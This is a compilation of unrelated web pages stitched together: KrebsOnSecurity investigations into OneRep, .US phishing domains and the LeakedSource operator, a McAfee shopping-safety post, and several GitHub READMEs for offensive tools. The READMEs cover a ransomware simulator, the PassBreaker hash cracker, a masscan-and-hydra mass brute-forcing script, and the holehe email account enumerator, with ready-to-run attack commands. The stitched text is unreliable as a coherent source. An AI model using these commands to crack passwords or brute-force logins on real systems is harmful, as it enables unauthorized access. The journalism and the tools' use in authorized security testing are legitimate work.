Historic WHOIS records for onerep.com show it was registered for many years to a resident of Sioux Falls, SD for a completely unrelated site. But around Sept. 2015 the domain switched from the registrar GoDaddy.com to eNom, and the registration records were hidden behind privacy protection services. DomainTools indicates around this time onerep.com started using domain name servers from DNS provider constellix.com. Likewise, Nuwber.com first appeared in late 2015, was also registered through eNom, and also started using constellix.com for DNS at nearly the same time.
Listed on LinkedIn as a former product manager at OneRep.com between 2015 and 2018 is Dimitri Bukuyazau, who says their hometown is Warsaw, Poland. While this LinkedIn profile (linkedin.com/in/dzmitrybukuyazau) does not mention Nuwber, a search on this name in Google turns up a 2017 blog post from privacyduck.com, which laid out a number of reasons to support a conclusion that OneRep and Nuwber.com were the same company.
“Any people search profiles containing your Personally Identifiable Information that were on Nuwber.com were also mirrored identically on OneRep.com, down to the relatives’ names and address histories,” Privacyduck.com wrote. The post continued:
“Both sites offered the same immediate opt-out process. Both sites had the same generic contact and support structure. They were – and remain – the same company (even PissedConsumer.com advocates this fact: https://nuwber.pissedconsumer.com/nuwber-and-onerep-20160707878520.html).”
“Things changed in early 2016 when OneRep.com began offering privacy removal services right alongside their own open displays of your personal information. At this point when you found yourself on Nuwber.com OR OneRep.com, you would be provided with the option of opting-out your data on their site for free – but also be highly encouraged to pay them to remove it from a slew of other sites (and part of that payment was removing you from their own site, Nuwber.com, as a benefit of their service).”
Reached via LinkedIn, Mr. Bukuyazau declined to answer questions, such as whether he ever worked at Nuwber.com. However, Constella Intelligence finds two interesting email addresses for employees at nuwber.com: d.bu@nuwber.com, and d.bu+figure-eight.com@nuwber.com, which was registered under the name “Dzmitry.”
PrivacyDuck’s claims about how onerep.com appeared and behaved in the early days are not readily verifiable because the domain onerep.com has been completely excluded from the Wayback Machine at archive.org. The Wayback Machine will honor such requests if they come directly from the owner of the domain in question.
Still, Mr. Shelest’s name, phone number and email also appear in the domain registration records for a truly dizzying number of country-specific people-search services, including pplcrwlr.in, pplcrwlr.fr, pplcrwlr.dk, pplcrwlr.jp, peeepl.br.com, peeepl.in, peeepl.it and peeepl.co.uk.
The same details appear in the WHOIS registration records for the now-defunct people-search sites waatpp.de, waatp1.fr, azersab.com, and ahavoila.com, a people-search service for French citizens.
The German people-search site waatp.de.
A search on the email address dmitrcox@gmail.com suggests Mr. Shelest was previously involved in rather aggressive email marketing campaigns. In 2010, an anonymous source leaked to KrebsOnSecurity the financial and organizational records of Spamit, which at the time was easily the largest Russian-language pharmacy spam affiliate program in the world.
Spamit paid spammers a hefty commission every time someone bought male enhancement drugs from any of their spam-advertised websites. Mr. Shelest’s email address stood out because immediately after the Spamit database was leaked, KrebsOnSecurity searched all of the Spamit affiliate email addresses to determine if any of them corresponded to social media accounts at Facebook.com (at the time, Facebook allowed users to search profiles by email address).
That mapping, which was done mainly by generous graduate students at my alma mater George Mason University, revealed that dmitrcox@gmail.com was used by a Spamit affiliate, albeit not a very profitable one. That same Facebook profile for Mr. Shelest is still active, and it says he is married and living in Minsk [Update, Mar. 16: Mr. Shelest’s Facebook account is no longer active].
The Italian people-search website peeepl.it.
Scrolling down Mr. Shelest’s Facebook page to posts made more than ten years ago show him liking the Facebook profile pages for a large number of other people-search sites, including findita.com, findmedo.com, folkscan.com, huntize.com, ifindy.com, jupery.com, look2man.com, lookerun.com, manyp.com, peepull.com, perserch.com, persuer.com, pervent.com, piplenter.com, piplfind.com, piplscan.com, popopke.com, pplsorce.com, qimeo.com, scoutu2.com, search64.com, searchay.com, seekmi.com, selfabc.com, socsee.com, srching.com, toolooks.com, upearch.com, webmeek.com, and many country-code variations of viadin.ca (e.g. viadin.hk, viadin.com and viadin.de).
The people-search website popopke.com.
Domaintools.com finds that all of the domains mentioned in the last paragraph were registered to the email address dmitrcox@gmail.com.
Mr. Shelest has not responded to multiple requests for comment. KrebsOnSecurity also sought comment from onerep.com, which likewise has not responded to inquiries about its founder’s many apparent conflicts of interest. In any event, these practices would seem to contradict the goal Onerep has stated on its site: “We believe that no one should compromise personal online security and get a profit from it.”
The people-search website findmedo.com.
Max Anderson is chief growth officer at 360 Privacy, a legitimate privacy company that works to keep its clients’ data off of more than 400 data broker and people-search sites. Anderson said it is concerning to see a direct link between between a data removal service and data broker websites.
“I would consider it unethical to run a company that sells people’s information, and then charge those same people to have their information removed,” Anderson said.
Last week, KrebsOnSecurity published an analysis of the people-search data broker giant Radaris, whose consumer profiles are deep enough to rival those of far more guarded data broker resources available to U.S. police departments and other law enforcement personnel.
That story revealed that the co-founders of Radaris are two native Russian brothers who operate multiple Russian-language dating services and affiliate programs. It also appears many of the Radaris founders’ businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.
KrebsOnSecurity will continue investigating the history of various consumer data brokers and people-search providers. If any readers have inside knowledge of this industry or key players within it, please consider reaching out to krebsonsecurity at gmail.com.
Update, March 15, 11:35 a.m. ET: Many readers have pointed out something that was somehow overlooked amid all this research: The Mozilla Foundation, the company that runs the Firefox Web browser, has launched a data removal service called Mozilla Monitor that bundles OneRep. That notice says Mozilla Monitor is offered as a free or paid subscription service.
“The free data breach notification service is a partnership with Have I Been Pwned (“HIBP”),” the Mozilla Foundation explains. “The automated data deletion service is a partnership with OneRep to remove personal information published on publicly available online directories and other aggregators of information about individuals (“Data Broker Sites”).”
In a statement shared with KrebsOnSecurity.com, Mozilla said they did assess OneRep’s data removal service to confirm it acts according to privacy principles advocated at Mozilla.
“We were aware of the past affiliations with the entities named in the article and were assured they had ended prior to our work together,” the statement reads. “We’re now looking into this further. We will always put the privacy and security of our customers first and will provide updates as needed.”
Article tags
RansomwareSim is a simulated ransomware application developed for educational and training purposes. It is designed to demonstrate how ransomware encrypts files on a system and communicates with a command-and-control server. This tool is strictly for educational use and should not be used for malicious purposes.
Important: This tool should only be used in controlled environments where all participants have given consent. Do not use this tool on any system without explicit permission. For more, read SECURE
Clone the repository:
git clone https://github.com/HalilDeniz/RansomwareSim.gitNavigate to the project directory:
cd RansomwareSimInstall the required dependencies:
pip install -r requirements.txtcontrolpanel.py.controlpanel.py.RansomwareSim and the Decoder.RansomwareSim.main function in encoder.py to specify the target directory and other parameters.encoder.py to start the encryption process.decoder.py after the files have been encrypted.RansomwareSim is developed for educational purposes only. The creators of RansomwareSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions.
For any inquiries or further information, you can reach me through the following channels:
PassBreaker is a command-line password cracking tool developed in Python. It allows you to perform various password cracking techniques such as wordlist-based attacks and brute force attacks.
Clone the repository:
git clone https://github.com/HalilDeniz/PassBreaker.gitInstall the required dependencies:
pip install -r requirements.txtpython passbreaker.py <password_hash> <wordlist_file> [--algorithm]Replace <password_hash> with the target password hash and <wordlist_file> with the path to the wordlist file containing potential passwords.
--algorithm <algorithm>: Specify the hash algorithm to use (e.g., md5, sha256, sha512).-s, --salt <salt>: Specify a salt value to use.-p, --parallel: Enable parallel processing for faster cracking.-c, --complexity: Evaluate password complexity before cracking.-b, --brute-force: Perform a brute force attack.--min-length <min_length>: Set the minimum password length for brute force attacks.--max-length <max_length>: Set the maximum password length for brute force attacks.--character-set <character_set>: Set the character set to use for brute force attacks.Elbette! İşte İngilizce olarak yazılmış başlık ve küçük bir bilgi ile daha fazla kullanım örneği:
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5This command attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the MD5 algorithm and a wordlist from the "passwords.txt" file.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 --brute-force --min-length 6 --max-length 8 --character-set abc123This command performs a brute force attack to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" by trying all possible combinations of passwords with a length between 6 and 8 characters, using the character set "abc123".
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha256 --complexityThis command evaluates the complexity of passwords in the "passwords.txt" file and attempts to crack the password with the hash value "5f4dcc3b5aa765d61d8327deb882cf99" using the SHA-256 algorithm. It only tries passwords that meet the complexity requirements.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm md5 --salt mysalt123This command uses a specific salt value ("mysalt123") for the password cracking process. Salt is used to enhance the security of passwords.
python passbreaker.py 5f4dcc3b5aa765d61d8327deb882cf99 passwords.txt --algorithm sha512 --parallelThis command performs password cracking with parallel processing for faster cracking. It utilizes multiple processing cores, but it may consume more system resources.
These examples demonstrate different features and use cases of the "PassBreaker" password cracking tool. Users can customize the parameters based on their needs and goals.
This tool is intended for educational and ethical purposes only. Misuse of this tool for any malicious activities is strictly prohibited. The developers assume no liability and are not responsible for any misuse or damage caused by this tool.
Contributions are welcome! To contribute to PassBreaker, follow these steps:
If you have any questions, comments, or suggestions about PassBreaker, please feel free to contact me:
PassBreaker is released under the MIT License. See LICENSE for more information.
Internet shopping has become an integral part of our daily lives, providing convenience, variety, and easy price comparisons. However, with this convenience comes potential risks. This article explores the dos and don’ts of online shopping to help you navigate this virtual marketplace safely and effectively.
Online shopping offers an amazing array of benefits. It saves time and effort, provides a platform where product comparison becomes a breeze, and allows us to avoid queues and crowds. Not to mention – it’s open all day, every day. However, it also exposes consumers to cyber threats, misinformation, and poor quality or non-existent products. This is why it is crucial to follow certain guidelines when buying online.
In this article, we will explore various dos and don’ts of online shopping centered around security, payment methods, product audits, return policies, and online behavior. The ultimate goal is to help you become a savvy, risk-aware internet shopper.
To make the most of your online shopping experience and secure your transactions, it’s crucial to adhere to some essential ‘do’s. These simple guidelines not only enhance your safety and satisfaction but also ensure a seamless and enjoyable transaction process.
Your first line of defense when shopping online should be to stick to well-known and trusted retailers. These retailers have established secure online shopping platforms and have robust security measures in place. They also typically have reliable customer support and return policies that protect you as the buyer. Online marketplaces such as Amazon, eBay, and Alibaba also provide customer protection mechanisms for purchases made through their platforms.
However, this does not mean you should completely avoid lesser-known online stores. Many fantastic independent retailers sell online exclusively. The key is to conduct a bit of research on these stores before handing over your money. A quick Google search can help you find reviews and ratings from other customers.
→ Dig Deeper: 8 Ways to Know If Online Stores Are Safe and Legit
Another important tip for safe online shopping is to use secure payment methods. Credit cards and secure online payment services, such as PayPal, have added security measures that protect you from fraud. Such services also often provide dispute resolution services in case something goes wrong with your transaction. When using a credit card, make sure you monitor your statements regularly for any suspicious charges.
→ Dig Deeper: PayPal Users: Here’s What You Need to Know About the New Phishing Scam
Furthermore, avoid using debit cards for online shopping as they lack many of the protections that credit cards provide. If a scammer gains access to your debit card information, they may have the ability to drain your bank account before you even notice.
McAfee Pro Tip: Do you use a digital wallet for online purchases? A digital wallet, or mobile wallet, is a smartphone app that securely stores payment information for tap-to-pay transactions at most point-of-sale terminals. Your digital wallet is secure as long as you safeguard your smartphone with the same level of attention as you would your physical wallet. If you use one, we have some tips to improve your digital wallet’s security.
One fundamental practice to uphold security is to exclusively patronize secure websites. These are platforms that have implemented robust measures to protect the confidentiality and integrity of the data exchanged during your online interactions. Shop only on secure websites that have a valid SSL certificate. Look for “https://” in the URL and a padlock icon in the address bar to ensure your personal information is protected.
The importance of using unique passwords for each online account cannot be overstated. In the event that one of your passwords is compromised, having distinct credentials for different platforms ensures that the security breach is contained, limiting potential damage. Reusing passwords across multiple accounts creates a vulnerability where a single compromised password could lead to unauthorized access to various aspects of your digital life.
Use a strong password, one that combines a mixture of uppercase and lowercase letters, numbers, and symbols and creates a complex sequence that is challenging for malicious actors or automated programs to decipher. Avoid easily guessable information such as birthdays, names, or common words.
Understanding the “Don’ts of Online Shopping” is as crucial as embracing the dos. From avoiding potential pitfalls to safeguarding your personal information, these guidelines serve as a compass, steering you away from common missteps that could compromise your online shopping journey.
Public Wi-Fi networks may be convenient, but they are often insecure. This makes it easy for cybercriminals to intercept your data, including credit card information or login details. So, as a rule of thumb, avoid making online purchases when you’re connected to public Wi-Fi.
→ Dig Deeper: Why You Need to Watch Out When Using Public Wi-Fi
Remember also to be cautious about which websites you visit and what personal information you provide while on public Wi-Fi. Even seemingly harmless activities, like checking email, can expose you to risks if a hacker is spying on your connection.
While shopping online, you might run into deals that seem too good to be true – and often, they are. Extremely low prices can be a sign of a scam, especially if they’re found on an obscure website. Be wary of online stores that require payment via wire transfer, provide vague or non-existent contact information, or have lots of negative reviews.
Keeping your devices, such as your computer, smartphone, or tablet, updated with the latest software is a simple but effective way to maintain a secure online shopping environment. Software updates often include patches for security vulnerabilities that have been discovered by the developers. By not updating your software, you are leaving your devices open to these vulnerabilities, which can be exploited by cybercriminals. Hence, always ensure that your devices are running the latest software versions.
In case of mobile devices, consider installing a trusted security app to help protect you from potential threats. These apps can help detect malware, prevent phishing attempts, and provide a host of other security features to keep you safe while shopping online.
→ Dig Deeper: Why Software Updates Are So Important
If you must shop online while on a public network, use a virtual private network (VPN) to encrypt your activity. A VPN is a tool that can provide an extra layer of security when you are shopping online. A VPN encrypts your internet connection, making your online activity invisible to anyone who might be snooping around, including hackers, your Internet Service Provider (ISP), or even the government. This can especially come in handy when you are shopping on a public Wi-Fi network, as mentioned earlier.
However, it’s important to choose a VPN carefully. Some VPNs can slow down your internet connection significantly or, worse, fail to provide the promised security features. Hence, always opt for a well-renowned and trusted VPN service provider.’
Return and refund policies are something you should never ignore while shopping online. These policies clarify what you can expect if the product turns out to be unsatisfactory, defective, or not as described. So, before making a purchase, always take the time to read and understand the return or refund policy of the online store. Avoid shopping from sites that have unclear, unfair, or non-existent return policies, as this could leave you stuck with unsatisfactory products.
Additionally, always print or save a copy of your order confirmation and receipt. This can be crucial for returning a product or disputing a charge in your credit card statement.
Phishing is a common online scam where cybercriminals trick you into providing sensitive information, such as your credit card details, by pretending to be a trustworthy entity. Often, these scams come in the form of fake emails or texts that look like they’re from reputable companies. Be wary of such communication, especially if it asks for personal or financial details.
Always verify whether the email or text is genuine by contacting the company through their official contact details. Never click on links from suspicious emails as this can also lead to malicious websites designed to steal your information. Remember, reputable companies will never ask for sensitive information through emails or texts.
Online shopping can be a convenient and enjoyable experience, but it also comes with its own set of risks. By following the dos and don’ts highlighted in this article, you can drastically reduce these risks and safeguard yourself from potential cyber threats. Remember to always stay vigilant while shopping online. Be aware of the common scams, stick to trusted retailers, and always protect your personal and financial information.
Improve your online shopping experience with McAfee+, which goes beyond traditional antivirus measures and provides an integrated suite of tools that shield your personal and financial information from evolving cyber threats!
The post Online Shopping: The Dos and Don’ts appeared first on McAfee Blog.
Mass bruteforce network protocols
Simple personal script to quickly mass bruteforce common services in a large scale of network.
It will check for default credentials on ftp, ssh, mysql, mssql...etc.
This was made for authorized red team penetration testing purpose only.
masscan(faster than nmap) to find alive hosts with common ports from network segment.masscan result.hydra commands to automatically bruteforce supported network services on devices.Kali linux or any preferred linux distributionPython 3.10+# Clone the repo
git clone https://github.com/opabravo/mass-bruter
cd mass-bruter
# Install required tools for the script
apt update && apt install seclists masscan hydraPrivate ip range :
10.0.0.0/8,192.168.0.0/16,172.16.0.0/12
Save masscan results under ./result/masscan/, with the format masscan_<name>.<ext>
Ex: masscan_192.168.0.0-16.txt
Example command:
masscan -p 3306,1433,21,22,23,445,3389,5900,6379,27017,5432,5984,11211,9200,1521 172.16.0.0/12 | tee ./result/masscan/masscan_test.txtExample Resume Command:
masscan --resume paused.conf | tee -a ./result/masscan/masscan_test.txtCommand Options
┌──(root㉿root)-[~/mass-bruter]
└─# python3 mass_bruteforce.py
Usage: [OPTIONS]
Mass Bruteforce Script
Options:
-q, --quick Quick mode (Only brute telnet, ssh, ftp , mysql,
mssql, postgres, oracle)
-a, --all Brute all services(Very Slow)
-s, --show Show result with successful login
-f, --file-path PATH The directory or file that contains masscan result
[default: ./result/masscan/]
--help Show this message and exit.Quick Bruteforce Example:
python3 mass_bruteforce.py -q -f ~/masscan_script.txtFetch cracked credentials:
python3 mass_bruteforce.py -sdpl4hydra
Any contributions are welcomed!
OSINT framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources. Some of the sites included might require registration or offer more data for $$$, but you should be able to get at least a portion of the available information for no cost.
I originally created this framework with an information security point of view. Since then, the response from other fields and disciplines has been incredible. I would love to be able to include any other OSINT resources, especially from fields outside of infosec. Please let me know about anything that might be missing!
Please visit the framework at the link below and good hunting!
(T) - Indicates a link to a tool that must be installed and run locally
(D) - Google Dork, for more information: Google Hacking
(R) - Requires registration
(M) - Indicates a URL that contains the search term and the URL itself must be edited manually
Follow me on Twitter: @jnordine - https://twitter.com/jnordine
Watch or star the project on Github: https://github.com/lockfale/osint-framework
Feedback or new tool suggestions are extremely welcome! Please feel free to submit a pull request or open an issue on github or reach out on Twitter.
For new resources, please ensure that the site is available for public and free use.
Thank you!
Happy Hunting!
Domain names ending in “.US” — the top-level domain for the United States — are among the most prevalent in phishing scams, new research shows. This is noteworthy because .US is overseen by the U.S. government, which is frequently the target of phishing domains ending in .US. Also, .US domains are only supposed to be available to U.S. citizens and to those who can demonstrate that they have a physical presence in the United States.
.US is the “country code top-level domain” or ccTLD of the United States. Most countries have their own ccTLDs: .MX for Mexico, for example, or .CA for Canada. But few other major countries in the world have anywhere near as many phishing domains each year as .US.
That’s according to The Interisle Consulting Group, which gathers phishing data from multiple industry sources and publishes an annual report on the latest trends. Interisle’s newest study examined six million phishing reports between May 1, 2022 and April 30, 2023, and found 30,000 .US phishing domains.
.US is overseen by the National Telecommunications and Information Administration (NTIA), an executive branch agency of the U.S. Department of Commerce. However, NTIA currently contracts out the management of the .US domain to GoDaddy, by far the world’s largest domain registrar.
Under NTIA regulations, the administrator of the .US registry must take certain steps to verify that their customers actually reside in the United States, or own organizations based in the U.S. But Interisle found that whatever GoDaddy was doing to manage that vetting process wasn’t working.
“The .US ‘nexus’ requirement theoretically limits registrations to parties with a national connection, but .US had very high numbers of phishing domains,” Interisle wrote. “This indicates a possible problem with the administration or application of the nexus requirements.”
Dean Marks is emeritus executive director for a group called the Coalition for Online Accountability, which has been critical of the NTIA’s stewardship of .US. Marks says virtually all European Union member state ccTLDs that enforce nexus restrictions also have massively lower levels of abuse due to their policies and oversight.
“Even very large ccTLDs, like .de for Germany — which has a far larger market share of domain name registrations than .US — have very low levels of abuse, including phishing and malware,” Marks told KrebsOnSecurity. “In my view, this situation with .US should not be acceptable to the U.S. government overall, nor to the US public.”
Marks said there are very few phishing domains ever registered in other ccTLDs that also restrict registrations to their citizens, such as .HU (Hungary), .NZ (New Zealand), and .FI (Finland), where a connection to the country, a proof of identity, or evidence of incorporation are required.
“Or .LK (Sri Lanka), where the acceptable use policy includes a ‘lock and suspend’ if domains are reported for suspicious activity,” Marks said. “These ccTLDs make a strong case for validating domain registrants in the interest of public safety.”
Sadly, .US has been a cesspool of phishing activity for many years. As far back as 2018, Interisle found .US domains were the worst in the world for spam, botnet (attack infrastructure for DDOS etc.) and illicit or harmful content. Back then, .US was being operated by a different contractor.
In response to questions from KrebsOnSecurity, GoDaddy said all .US registrants must certify that they meet the NTIA’s nexus requirements. But this appears to be little more than an affirmative response that is already pre-selected for all new registrants.
Attempting to register a .US domain through GoDaddy, for example, leads to a U.S. Registration Information page that auto-populates the nexus attestation field with the response, “I am a citizen of the US.” Other options include, “I am a permanent resident of the US,” and “My primary domicile is in the US.” It currently costs just $4.99 to obtain a .US domain through GoDaddy.
GoDaddy said it also conducts a scan of selected registration request information, and conducts “spot checks” on registrant information.
“We conduct regular reviews, per policy, of registration data within the Registry database to determine Nexus compliance with ongoing communications to registrars and registrants,” the company said in a written statement.
GoDaddy says it “is committed to supporting a safer online environment and proactively addressing this issue by assessing it against our own anti-abuse mitigation system.”
“We stand against DNS abuse in any form and maintain multiple systems and protocols to protect all the TLDs we operate,” the statement continued. “We will continue to work with registrars, cybersecurity firms and other stakeholders to make progress with this complex challenge.”
Interisle found significant numbers of .US domains were registered to attack some of the United States’ most prominent companies, including Bank of America, Amazon, Apple, AT&T, Citi, Comcast, Microsoft, Meta, and Target.
“Ironically, at least 109 of the .US domains in our data were used to attack the United States government, specifically the United States Postal Service and its customers,” Interisle wrote. “.US domains were also used to attack foreign government operations: six .US domains were used to attack Australian government services, six attacked Great’s Britain’s Royal Mail, one attacked Canada Post, and one attacked the Denmark Tax Authority.”
The NTIA recently published a proposal that would allow GoDaddy to redact registrant data from WHOIS registration records. The current charter for .US specifies that all .US registration records be public.
Interisle argues that without more stringent efforts to verify a United States nexus for new .US domain registrants, the NTIA’s proposal will make it even more difficult to identify phishers and verify registrants’ identities and nexus qualifications.
In a written statement, the NTIA said DNS abuse is a priority issue for the agency, and that NTIA supports “evidence-based policymaking.”
“We look forward to reviewing the report and will engage with our contractor for the .US domain on steps that we can take not only to address phishing, but the other forms of DNS abuse as well,” the statement reads.
Interisle sources its phishing data from several places, including the Anti-Phishing Working Group (APWG), OpenPhish, PhishTank, and Spamhaus. For more phishing facts, see Interisle’s 2023 Phishing Landscape report (PDF).’
Update, Sept. 5, 1:44 p.m. ET: Updated story with statement provided today by the NTIA.
Efficiently finding registered accounts from emails.
Holehe checks if an email is attached to an account on sites like twitter, instagram, imgur and more than 120 others.
pip3 install holehe
git clone https://github.com/megadose/holehe.git
cd holehe/
python3 setup.py installHolehe can be run from the CLI and rapidly embedded within existing python applications.
holehe test@gmail.comimport trio
import httpx
from holehe.modules.social_media.snapchat import snapchat
async def main():
email = "test@gmail.com"
out = []
client = httpx.AsyncClient()
await snapchat(email, client, out)
print(out)
await client.aclose()
trio.run(main)For each module, data is returned in a standard dictionary with the following json-equivalent format :
{
"name": "example",
"rateLimit": false,
"exists": true,
"emailrecovery": "ex****e@gmail.com",
"phoneNumber": "0*******78",
"others": null
}Rate limit? Change your IP.
For BTC Donations : 1FHDM49QfZX6pJmhjLE5tB2K6CaTLMZpXZ
GNU General Public License v3.0
Built for educational purposes only.
| Name | Domain | Method | Frequent Rate Limit |
|---|---|---|---|
| aboutme | about.me | register | ✘ |
| adobe | adobe.com | password recovery | ✘ |
| amazon | amazon.com | login | ✘ |
| amocrm | amocrm.com | register | ✘ |
| anydo | any.do | login | ✔ |
| archive | archive.org | register | ✘ |
| armurerieauxerre | armurerie-auxerre.com | register | ✘ |
| atlassian | atlassian.com | register | ✘ |
| axonaut | axonaut.com | register | ✘ |
| babeshows | babeshows.co.uk | register | ✘ |
| badeggsonline | badeggsonline.com | register | ✘ |
| biosmods | bios-mods.com | register | ✘ |
| biotechnologyforums | biotechnologyforums.com | register | ✘ |
| bitmoji | bitmoji.com | login | ✘ |
| blablacar | blablacar.com | register | ✔ |
| blackworldforum | blackworldforum.com | register | ✔ |
| blip | blip.fm | register | ✔ |
| blitzortung | forum.blitzortung.org | register | ✘ |
| bluegrassrivals | bluegrassrivals.com | register | ✘ |
| bodybuilding | bodybuilding.com | register | ✘ |
| buymeacoffee | buymeacoffee.com | register | ✔ |
| cambridgemt | discussion.cambridge-mt.com | register | ✘ |
| caringbridge | caringbridge.org | register | ✘ |
| chinaphonearena | chinaphonearena.com | register | ✘ |
| clashfarmer | clashfarmer.com | register | ✔ |
| codecademy | codecademy.com | register | ✔ |
| codeigniter | forum.codeigniter.com | register | ✘ |
| codepen | codepen.io | register | ✘ |
| coroflot | coroflot.com | register | ✘ |
| cpaelites | cpaelites.com | register | ✘ |
| cpahero | cpahero.com | register | ✘ |
| cracked_to | cracked.to | register | ✔ |
| crevado | crevado.com | register | ✔ |
| deliveroo | deliveroo.com | register | ✔ |
| demonforums | demonforums.net | register | ✔ |
| devrant | devrant.com | register | ✘ |
| diigo | diigo.com | register | ✘ |
| discord | discord.com | register | ✘ |
| docker | docker.com | register | ✘ |
| dominosfr | dominos.fr | register | ✔ |
| ebay | ebay.com | login | ✔ |
| ello | ello.co | register | ✘ |
| envato | envato.com | register | ✘ |
| eventbrite | eventbrite.com | login | ✘ |
| evernote | evernote.com | login | ✘ |
| fanpop | fanpop.com | register | ✘ |
| firefox | firefox.com | register | ✘ |
| flickr | flickr.com | login | ✘ |
| freelancer | freelancer.com | register | ✘ |
| freiberg | drachenhort.user.stunet.tu-freiberg.de | register | ✘ |
| garmin | garmin.com | register | ✔ |
| github | github.com | register | ✘ |
| google.com | register | ✔ | |
| gravatar | gravatar.com | other | ✘ |
| hubspot | hubspot.com | login | ✘ |
| imgur | imgur.com | register | ✔ |
| insightly | insightly.com | login | ✘ |
| instagram.com | register | ✔ | |
| issuu | issuu.com | register | ✘ |
| koditv | forum.kodi.tv | register | ✘ |
| komoot | komoot.com | register | ✔ |
| laposte | laposte.fr | register | ✘ |
| lastfm | last.fm | register | ✘ |
| lastpass | lastpass.com | register | ✘ |
| mail_ru | mail.ru | password recovery | ✘ |
| mybb | community.mybb.com | register | ✘ |
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[This is Part III in a series on research conducted for a recent Hulu documentary on the 2015 hack of marital infidelity website AshleyMadison.com.]
In 2019, a Canadian company called Defiant Tech Inc. pleaded guilty to running LeakedSource[.]com, a service that sold access to billions of passwords and other data exposed in countless data breaches. KrebsOnSecurity has learned that the owner of Defiant Tech, a 32-year-old Ontario man named Jordan Evan Bloom, was hired in late 2014 as a developer for the marital infidelity site AshleyMadison.com. Bloom resigned from AshleyMadison citing health reasons in June 2015 — less than one month before unidentified hackers stole data on 37 million users — and launched LeakedSource three months later.
Jordan Evan Bloom, posing in front of his Lamborghini.
On Jan. 15, 2018, the Royal Canadian Mounted Police (RCMP) charged then 27-year-old Bloom, of Thornhill, Ontario, with selling stolen personal identities online through the website LeakedSource[.]com.
LeakedSource was advertised on a number of popular cybercrime forums as a service that could help hackers break into valuable or high-profile accounts. LeakedSource also tried to pass itself off as a legal, legitimate business that was marketing to security firms and professionals.
The RCMP arrested Bloom in December 2017, and said he made approximately $250,000 selling hacked data, which included information on 37 million user accounts leaked in the 2015 Ashley Madison breach.
Subsequent press releases from the RCMP about the LeakedSource investigation omitted any mention of Bloom, and referred to the defendant only as Defiant Tech. In a legal settlement that is quintessentially Canadian, the matter was resolved in 2019 after Defiant Tech agreed to plead guilty. The RCMP declined to comment for this story.
The Impact Team, the hacker group that claimed responsibility for stealing and leaking the AshleyMadison user data, also leaked several years worth of email from then-CEO Noel Biderman. A review of those messages shows that Ashley Madison hired Jordan Evan Bloom as a PHP developer in December 2014 — even though the company understood that Bloom’s success as a programmer and businessman was tied to shady and legally murky enterprises.
Bloom’s recommendation came to Biderman via Trevor Sykes, then chief technology officer for Ashley Madison parent firm Avid Life Media (ALM). The following is an email from Sykes to Biderman dated Nov. 14, 2014:
“Greetings Noel,
“We’d like to offer Jordan Bloom the position of PHP developer reporting to Mike Morris for 75k CAD/Year. He did well on the test, but he also has a great understanding of the business side of things having run small businesses himself. This was an internal referral.”
When Biderman responded that he needed more information about the candidate, Sykes replied that Bloom was independently wealthy as a result of his forays into the shadowy world of “gold farming” — the semi-automated use of large numbers of player accounts to win some advantage that is usually related to cashing out game accounts or inventory. Gold farming is particularly prevalent in massively multiplayer online role-playing games (MMORPGs), such as RuneScape and World of Warcraft.
“In his previous experience he had been doing RMT (Real Money Trading),” Sykes wrote. “This is the practice of selling virtual goods in games for real world money. This is a grey market, which is usually against the terms and services of the game companies.” Here’s the rest of his message to Biderman:
“RMT sellers traditionally have a lot of problems with chargebacks, and payment processor compliance. During my interview with him, I spent some time focusing in on this. He had to demonstrate to the processor, Paypal, at the time he had a business and technical strategy to address his charge back rate.”
“He ran this company himself, and did all the coding, including the integration with the processors,” Sykes continued in his assessment of Bloom. “Eventually he was squeezed out by Chinese gold farmers, and their ability to market with much more investment than he could. In addition the cost of ‘farming’ the virtual goods was cheaper in China to do than in North America.”
The gold farming reference is fascinating because in 2017 KrebsOnSecurity published Who Ran LeakedSource?, which examined clues suggesting that one of the administrators of LeakedSource also was the admin of abusewith[.]us, a site unabashedly dedicated to helping people hack email and online gaming accounts.
An administrator account Xerx3s on Abusewithus.
Abusewith[.]us began in September 2013 as a forum for learning and teaching how to hack accounts at Runescape, an MMORPG set in a medieval fantasy realm where players battle for kingdoms and riches.
The currency with which Runescape players buy and sell weapons, potions and other in-game items are virtual gold coins, and many of Abusewith[dot]us’s early members traded in a handful of commodities: Phishing kits and exploits that could be used to steal Runescape usernames and passwords from fellow players; virtual gold plundered from hacked accounts; and databases from hacked forums and websites related to Runescape and other online games.
That 2017 report here interviewed a Michigan man who acknowledged being administrator of Abusewith[.]us, but denied being the operator of LeakedSource. Still, the story noted that LeakedSource likely had more than one operator, and breached records show Bloom was a prolific member of Abusewith[.]us.
In an email to all employees on Dec. 1, 2014, Ashley Madison’s director of HR said Bloom graduated from York University in Toronto with a degree in theoretical physics, and that he has been an active programmer since high school.
“He’s a proprietor of a high traffic multiplayer game and developer/publisher of utilities such as PicTrace,” the HR director enthused. “He will be a great addition to the team.”
PicTrace appears to have been a service that allowed users to glean information about anyone who viewed an image hosted on the platform, such as their Internet address, browser type and version number. A copy of pictrace[.]com from Archive.org in 2012 redirects to the domain qksnap.com, which DomainTools.com says was registered to a Jordan Bloom from Thornhill, ON that same year.
The street address listed in the registration records for qksnap.com — 204 Beverley Glen Blvd — also shows up in the registration records for leakadvisor[.]com, a domain registered in 2017 just months after Canadian authorities seized the servers running LeakedSource.
Pictrace, one of Jordan Bloom’s early IT successes.
A review of passive DNS records from DomainTools indicates that in 2013 pictrace[.]com shared a server with just a handful of other domains, including Near-Reality[.]com — a popular RuneScape Private Server (RSPS) game based on the RuneScape MMORPG.
Copies of near-reality[.]com from 2013 via Archive.org show the top of the community’s homepage was retrofitted with a message saying Near Reality was no longer available due to a copyright dispute. Although the site doesn’t specify the other party to the copyright dispute, it appears Near-Reality got sued by Jagex, the owner of RuneScape.
